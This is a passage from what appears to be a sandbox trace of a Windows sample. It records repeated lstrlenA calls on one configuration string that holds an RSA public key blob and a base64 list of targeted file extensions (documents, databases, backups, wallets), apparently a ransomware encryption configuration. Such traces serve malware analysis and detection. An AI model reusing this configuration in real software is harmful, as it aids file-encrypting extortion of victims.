iwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4